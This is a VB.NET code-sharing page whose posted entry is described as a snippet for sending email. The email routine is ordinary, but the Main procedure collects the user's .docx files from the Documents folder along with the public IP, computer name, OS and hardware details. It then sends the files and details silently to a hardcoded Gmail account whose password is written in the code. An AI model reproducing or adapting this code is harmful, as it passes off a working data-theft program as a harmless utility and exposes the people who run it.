Find Code:
All Words
Any of the Words
Exact Phrase
Home
:
Code
:
Forums
:
Submit
:
Mailing List
:
About
:
Contact
Code
All
VB.NET
ASP.NET
C#
VB Classic
ASP Classic
Snippets
Popular
Resources
Submit Code
Forums
Articles
Tips
Links
Books
Contest
Link to us
Send Mail
Author:
Sebastian
Submitted:
9/10/2014
Version:
VB 2010
Compatibility:
VB 2010, VB 2012, VB 2013
Category:
Internet Programming
Views:
6977
Code snippet for sending email.
Declarations:
'none
Code:
Imports System.Net.Mail Imports System.Net Imports System.Text.RegularExpressions Imports System.IO Module module1 Private Sub SendEmail(ByVal MailFrom As String, ByVal MailPass As String, _ ByVal MailTo As String, ByVal MailSubj As String, _ ByVal MailText As String, ByVal MailFromName As String, _ ByVal MailToName As String, _ Optional ByVal MailAttach As String = "") If MailSubj = "" Then MailSubj = "No Subject" End If If MailTo = "" Then Console.WriteLine("Error.....You must enter a Email Adress as target...") Exit Sub End If Dim MailServer As String = "" If MailFrom = "" Then Console.WriteLine("Error.....You must enter a Email Adress as sender...") Exit Sub ElseIf MailFrom.ToLower.EndsWith("@gmail.com") Then MailServer = "smtp.gmail.com" ElseIf MailFrom.ToLower.EndsWith("@hotmail.com") Then MailServer = "smtp.live.com" Else Console.WriteLine("Error.....Unsupported host...") Exit Sub End If If MailPass = "" Then WriteLine("Error.....You must enter your password...") Exit Sub End If Dim mTo As System.Net.Mail.MailAddress Try Dim AdressTo As New System.Net.Mail.MailAddress(MailTo, MailToName) mTo = AdressTo Catch Console.WriteLine("Error.....Invailed Target Adress") Exit Sub End Try Dim mFrom As System.Net.Mail.MailAddress Try Dim AdressFrom As New System.Net.Mail.MailAddress(MailFrom, MailFromName) mFrom = AdressFrom Catch Console.WriteLine("Error.....Invailed Sender Adress") Exit Sub End Try Dim NEWMail As New MailMessage(mFrom, mTo) NEWMail.Body = MailText NEWMail.Subject = MailSubj If MailAttach <> "" Then Dim Attach As String = "" For Chars As Integer = 0 To MailAttach.Length - 1 If MailAttach(Chars) = "," Or (Chars = MailAttach.Length - 1 And Attach <> "") Then Try NEWMail.Attachments.Add(New Attachment(Attach)) Attach = "" Catch Console.WriteLine("Couldn't add the attachment") Exit Sub End Try Else Attach &= MailAttach(Chars) End If Next End If Dim client As New SmtpClient(MailServer, 587) client.EnableSsl = True client.Credentials = New Net.NetworkCredential(MailFrom, MailPass) Console.WriteLine("Sending email...") Try client.Send(NEWMail) Catch Console.WriteLine("Error.....Failed to send the Email...") Exit Sub End Try Console.WriteLine("Email was sent sucessfully...") End Sub Private Function GetExternalIp() As String Try Dim ExternalIP As String ExternalIP = (New WebClient()).DownloadString("http://checkip.dyndns.org/") ExternalIP = (New Regex("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")) _ .Matches(ExternalIP)(0).ToString() Return ExternalIP Catch Return Nothing End Try End Function Sub Main() Dim Files As Integer Files = Nothing Dim filedir(5) As String Try ' Only get files that end with .docx Dim dirs As String() = Directory.GetFiles("C:\Users\" & Environment.UserName & "\Documents", "*docx") Dim dir As String For Each dir In dirs filedir(Files) = dir & ", " Files += 1 Next Catch e As Exception Console.WriteLine("The process failed") End Try Console.WriteLine("A total of: " & Files & " Were found and stored in an array") Dim PublicIp = GetExternalIp() Dim ComputerName As String ComputerName = System.Net.Dns.GetHostName Dim Newline = Environment.NewLine SendEmail("infogather.poke@gmail.com", "stomp188", "infogather.poke@gmail.com", "Computer Infomation " & ComputerName, "A client (" & ComputerName & ") Has started the program. The information gatherd is below." & Newline & Newline & "Public ip is: '" & PublicIp & "'" & Newline & "Computer Name is: '" & ComputerName & "'" & Newline & Newline & "Computer's operating system platform: '" & My.Computer.Info.OSPlatform & "'" & Newline & "Operating system in full name : '" & My.Computer.Info.OSFullName & "'" & Newline & Newline & "Total virtual memory in gigabytes: '" & Math.Round(My.Computer.Info.TotalPhysicalMemory / 1073741824, 2) & "' GB" & Newline & "Total hardrive space free: '" & Math.Round(My.Computer.FileSystem.Drives.Item(0).AvailableFreeSpace / 1073741824, 2) & "' GB", "Client Computer", "Info Center", filedir(0) & filedir(1) & filedir(2) & filedir(3) & filedir(4) & filedir(5)) End Sub End Module
Home
|
Forums
|
Submit
|
Books
|
Mailing List
|
Advertising
|
About
|
Contact
© 2024 A1VBCode. All rights reserved.
Legal disclaimer & terms of use
Privacy statement